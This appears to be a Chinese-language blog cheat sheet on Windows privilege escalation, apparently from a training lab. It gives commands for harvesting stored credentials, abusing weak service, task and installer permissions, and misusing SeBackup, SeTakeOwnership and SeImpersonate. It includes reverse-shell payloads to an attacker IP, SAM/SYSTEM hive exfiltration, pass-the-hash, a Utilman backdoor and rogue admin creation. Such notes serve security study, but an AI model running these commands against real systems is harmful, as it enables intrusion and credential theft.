Zumpyx's Blog

Windows 权限提升

windowsprivescred-team

Unattended Windows Installations

windows 自动安装相关配置文件,可能存在明文密码

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

Powershell History

Powershell 命令历史,需要在 cmd 环境执行

cmd /c type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Windows Credentials

查看保存的 Windows 凭据

cmdkey /list

看不到密码,但是可以尝试使用

runas /savecred /user:admin cmd.exe

IIS Configuration

IIS 的配置文件 web.config 可能存在凭据

C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

快速查找内容

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Retrieve Credentials from Software: PuTTY

从部分管理软件中获取凭据:PuTTY、XShell…

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Scheduled Tasks

首先使用查看所有计划任务

PS C:\> Get-ScheduledTask
C:\> schtasks /query

然后可以查看某个计划任务的配置。

C:\> schtasks /query /tn vulntask /fo list /v

查看对计划任务执行文件的权限,(F) 完全访问

C:\> icacls  C:\tasks\schtask.bat
---------------------------------------------------
C:\tasks\schtask.bat BUILTIN\Users:(I)(F)
                     NT AUTHORITY\SYSTEM:(I)(F)
                     BUILTIN\Administrators:(I)(F)

修改对应程序后,可以加载计划任务

C:\> schtasks /run /tn vulntask

AlwaysInstallElevated

Windows .msi 文件运行后会自动安装,一般权限较高,需要两个注册表值

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer 
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

可以使用 msfvenom 生成恶意 .msi 文件

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_10.10.64.70 LPORT=LOCAL_PORT -f msi -o malicious.msi

使用命令安装程序

C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Windows Services

查看服务

PS C:\> Get-Service
C:\> sc query

服务有一个自主访问控制列表(DACL),它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他权限,在 ACL 配置有缺陷的情况下,可以进一步利用。

查看指定服务

C:\> sc qc AdobeARMservice

服务的 **BINARY_PATH_NAME** 等配置在注册表 HKLM\SYSTEM\CurrentControlSet\Services\ 中,默认情况下只有管理员可以修改此类注册表项。

Insecure Permissions on Service Executable

服务可执行程序不安全的权限

查看服务信息

C:\Users\thm-unpriv>sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WindowsScheduler
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\PROGRA~2\SYSTEM~1\WService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : System Scheduler Service
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr1

查看对可执行程序的权限

C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
                                  NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

具有所有权限,因此可以替换掉

生成Reverse Shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

备份原文件、替换新文件、修改权限之后重启服务

cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
C:\> icacls WService.exe /grant Everyone:F
C:\> sc stop windowsscheduler 
C:\> sc start windowsscheduler

# PS C:\> sc.exe // Powershell 需要使用 sc.exe 避免别名冲突

Unquoted Service Paths

未加引号的弱路径服务,当服务所加载程序的路径中带有空格,且路径整体未加引号,则可能会导致弱路径利用

样例

C:\> sc qc "disk sorter enterprise"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: disk sorter enterprise
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Disk Sorter Enterprise
        DEPENDENCIES       :
        SERVICE_START_NAME : .\svcusr2

由于加载程序时路径可以省略 .exe,所以如果存在 C:\MyPrograms\Disk.exe,则会被服务优先加载,其次加载 c:\MyPrograms\Disk Sorter.exe,若前两者不存在,则加载整体路径 C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

利用方式:替换文件、修改权限、重启服务

C:\> move C:\Users\thm-unpriv\rev-svc.exe C:\MyPrograms\Disk.exe
C:\> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
C:\> sc stop "disk sorter enterprise" 
C:\> sc start "disk sorter enterprise"

Insecure Service Permissions

如果服务的可执行 DACL 配置良好,并且正确引用了服务的二进制路径,那么您仍然有机会利用该服务。如果服务 DACL(不是服务的可执行 DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向所需的任何可执行文件并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

从命令行检查服务的 DACL 需要使用 Sysinternals 套件中的 Accesschk

C:\tools\AccessChk> accesschk64.exe -qlc thmservice
  [0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_PAUSE_CONTINUE
        SERVICE_START
        SERVICE_STOP
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
        SERVICE_ALL_ACCESS

BUILTIN\\Users 拥有服务的所有权限,因此 Users 组下所有用户都可以重新配置服务,因此可以修改二进制文件路径来执行任意代码

修改文件权限、重新配置服务的 binPath、重启服务

C:\> icacls C:\Users\thm-unpriv\rev-svc.exe /grant Everyone:F
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc.exe" obj= LocalSystem
C:\> sc stop THMService
C:\> sc start THMService

Windows Privileges

使用 whoami /priv 查看用户所有权限,Microsoft 官方提供了 Windows 系统上可用权限的完整列表。可以在 Priv2Admin 项目上找到可利用权限的完整列表。

SeBackup / SeRestore

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,忽略任何 DACL。此权限背后的想法是允许某些用户从系统执行备份,而无需完全管理权限。

权限样例

PS C:\Windows\system32> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeBackupPrivilege             Back up files and directories  Disabled
SeRestorePrivilege            Restore files and directories  Disabled
SeShutdownPrivilege           Shut down the system           Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

可以备份 SAM 和 SYSTEM 哈希值

C:\> reg save hklm\system C:\Users\THMBackup\system.hive
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive

攻击机开启 SMB 服务,用于接收备份文件

user@attackerpc$ mkdir share 
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

上传文件

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

本地提取 Hash

user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
THMBackup:1008:aad3b435b51404eeaad3b435b51404ee:6c252027fb2022f5051e854e08023537:::
THMTakeOwnership:1009:aad3b435b51404eeaad3b435b51404ee:0af9b65477395b680b822e0b2c45b93b:::
[*] Cleaning up...

传递 Hash 获取权限

user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 [email protected]

SeTakeOwnership

SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限提供了多种可能性,例如,我们可以搜索作为 SYSTEM 运行的服务并获取服务的可执行文件的所有权、其他以 SYSTEM 身份运行的可执行程序的所有权。

例如获取“轻松访问——Utilman.exe”的所有权、分配权限、替换文件

C:\> takeown /f C:\Windows\System32\Utilman.exe
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
C:\Windows\System32\> copy cmd.exe utilman.exe

锁定屏幕、点击轻松访问弹出 cmd.exe Pasted-image-20231113140750.png

SeImpersonate / SeAssignPrimaryToken

这些权限允许进程模拟其他用户并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文下生成进程或线程。

假设有一个 IIS 的 Web Shell Pasted-image-20231113141625.png 需要配合 Potato 系列工具(potato.exe、RottenPotato、RottenPotatoNG、Juicy Potato、SweetPotato、RemotePotato0)、RogueWinRM、PrintSpoofer 等使用。

每当用户(包括非特权用户)在 Windows 中启动 BITS 服务时,它都会使用系统权限自动创建到端口 5985 的连接。如果由于某种原因,WinRM 服务没有在受害服务器上运行,则攻击者可以在端口 5985 上启动伪造的 WinRM 服务,并在启动时捕获 BITS 服务进行的身份验证尝试。如果攻击者具有SeImpersonate权限,他可以代表连接用户(即SYSTEM)执行任何命令。

利用 RogueWinRM 漏洞,先上传 RogueWinRM.exe

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe 10.10.171.61 4444"

等待片刻,接收 Shell

Unpatched Software

利用软件漏洞提权。 exploit-dbpacket storm

获取软件版本信息

PS c:\> Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table –AutoSize

C:\> wmic product get name,version,vendor

创建新用户并添加至管理员组

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

自动化工具

C:\> winpeas.exe > outputfile.txt
PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force 
PS C:\> . .\PrivescCheck.ps1 
PS C:\> Invoke-PrivescCheck
PS C:\> systeminfo > systeminfo.txt
user@kali$ wes.py systeminfo.txt